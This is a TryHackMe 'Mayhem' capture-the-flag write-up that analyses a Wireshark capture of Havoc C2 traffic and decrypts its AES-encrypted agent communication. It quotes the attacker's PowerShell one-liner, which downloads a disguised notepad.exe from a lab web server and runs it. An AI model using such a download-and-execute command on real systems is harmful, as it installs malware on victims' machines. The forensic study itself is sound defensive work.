TryHackMe Mayhem Write-Up Walk Through
Can you find the secrets inside the sea of mayhem?
Introduction
The “Mayhem” room on TryHackMe throws you into a sea of Havoc C2 communication! Can you uncover the attacker’s secrets hidden within the Wireshark capture? Join us as we trace the initial PowerShell infection, the disguised notepad.exe Havoc agent, and the encrypted communication with the teamserver. We’ll guide you through identifying the crucial 0xdeadbeef marker, extracting the AES key and IV, and using our Python script to reveal the plain text client-server interactions. Put your network analysis skills to the test!
You can follow YouTube video walk through here
Initial Access
the attacker started by downloading a powershell script install.ps1 from his Python local web server, we can export file content from Wireshark:
1
$aysXS8Hlhf = "http://10.0.2.37:1337/notepad.exe";$LA4rJgSPpx = "C:\Users\paco\Downloads\notepad.exe";Invoke-WebRequest -Uri $aysXS8Hlhf -OutFile $LA4rJgSPpx;$65lmAtnzW8 = New-Object System.Net.WebClient;$65lmAtnzW8.DownloadFile($aysXS8Hlhf, $LA4rJgSPpx);Start-Process -Filepath $LA4rJgSPpx
We can see the script download a binary notepad.exe and run it
Looking at Virustotal we will find that this binary is a Havoc C2 agent (https://github.com/HavocFramework)
You can follow YouTube video walk through here
Havoc Framework
From Havoc documentation on Github, we found that Havoc agent send response to teamserver using 20 Bytes header with Magic Value is set to 0xdeadbeef.
1
2
3
4
5
6
7
8
9
Header:
[ SIZE ] 4 bytes
[ Magic Value ] 4 bytes
[ Agent ID ] 4 bytes
[ Request ID ] 4 bytes
[ COMMAND ID ] 4 bytes
Packed data:
... (depends on the COMMAND ID)
Using Wireshark find packet option, searching for deadbeef we found the first packet that contain AES Key and IV:
You can follow YouTube video walk through here
We can save hex data value from Wireshark for this first packet:
1
00000113deadbeef0e9fb7d80000006300000000946cf2f65ac2d2b868328a18dedcc296cc40fa28fab41a0c34dcc010984410ca8cd00c3e349290565aaa5a8c3aacd430340cd2bc567802a30e1c2722bb2135dbfe9b76cc0f486e975aaf1f21a6ad13f9ef282131470a0191c974b4f5c2369005227811dcfb9708192e358fe9dfbf4214760291da15237a0f2e5db5b1e718d48ef01af5e724767c95a1b5c136cc744d75edcb1747847d1b6a22df5a23531442b73329c2b2ae46e1ab2506f548bd1b706892c6d4b8c66c206b0a668752ef7203b3e7627cb2fa5677998779347a00d75cadc5e60d67f78e4cbe1318e8d738475d774ae18dbb6ee25e0a3c3255dfe2b0fc3e220e87fd3a5c7bba8ed1df272387b57fd836f0
Which will give us the AES Key and IV
1
2
3
946cf2f65ac2d2b868328a18dedcc296cc40fa28fab41a0c34dcc010984410ca
8cd00c3e349290565aaa5a8c3aacd430
We can use for example CyberChef to decrypt the packets from client to teamserver, example (note you need to remove the fist 20 bytes from the header and decrypt only the rest of the text, you can use Drop Bytes option in CyberChef):
You can follow YouTube video walk through here
We can follow the same process to decrypt all the rest of packet from client to teamserver.
Decrypting commands sent by Havoc Teamserver to Client
The process is the same, using the found AES Key and IV as before, but this time we note the header size is 12 Bytes and server sent packets are HTTP/1.1 200 OK, example below:
as you can see from above image server send ipconfig commands to Havoc Agent. you can do same process on CyberChef for all the rest of packets.
You can follow YouTube video walk through here
Using Python Script to Automate the process:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(myproject) jalil@jalil-Vostro-460:~/Documents/Tryhackme/Mayhem$ python3 g1.py --pcap evidence-1700022726858/traffic.pcapng
[+] Parsing Packets
[+] Parsing Request
[!] No request body found
[+] Parsing Request
[!] No request body found
[+] Parsing Request
[!] No request body found
[+] Parsing Request
[+] Found Havoc C2 Initial Packet
[-] Agent ID: 0e9fb7d8
[-] Magic Bytes: deadbeef
[-] C2 Address: http://10.0.2.37/
[+] Found AES Key
[-] Key: 946cf2f65ac2d2b868328a18dedcc296cc40fa28fab41a0c34dcc010984410ca
[-] IV: 8cd00c3e349290565aaa5a8c3aacd430
[+] Parsing Request
[!] No valid response body found
About Python script will find the Key and the IV, decrypt all Havoc C2 communication between Agent and the server.
Want the Full Walkthrough?
Check out my full video walkthrough on my YouTube channel for step-by-step guidance:




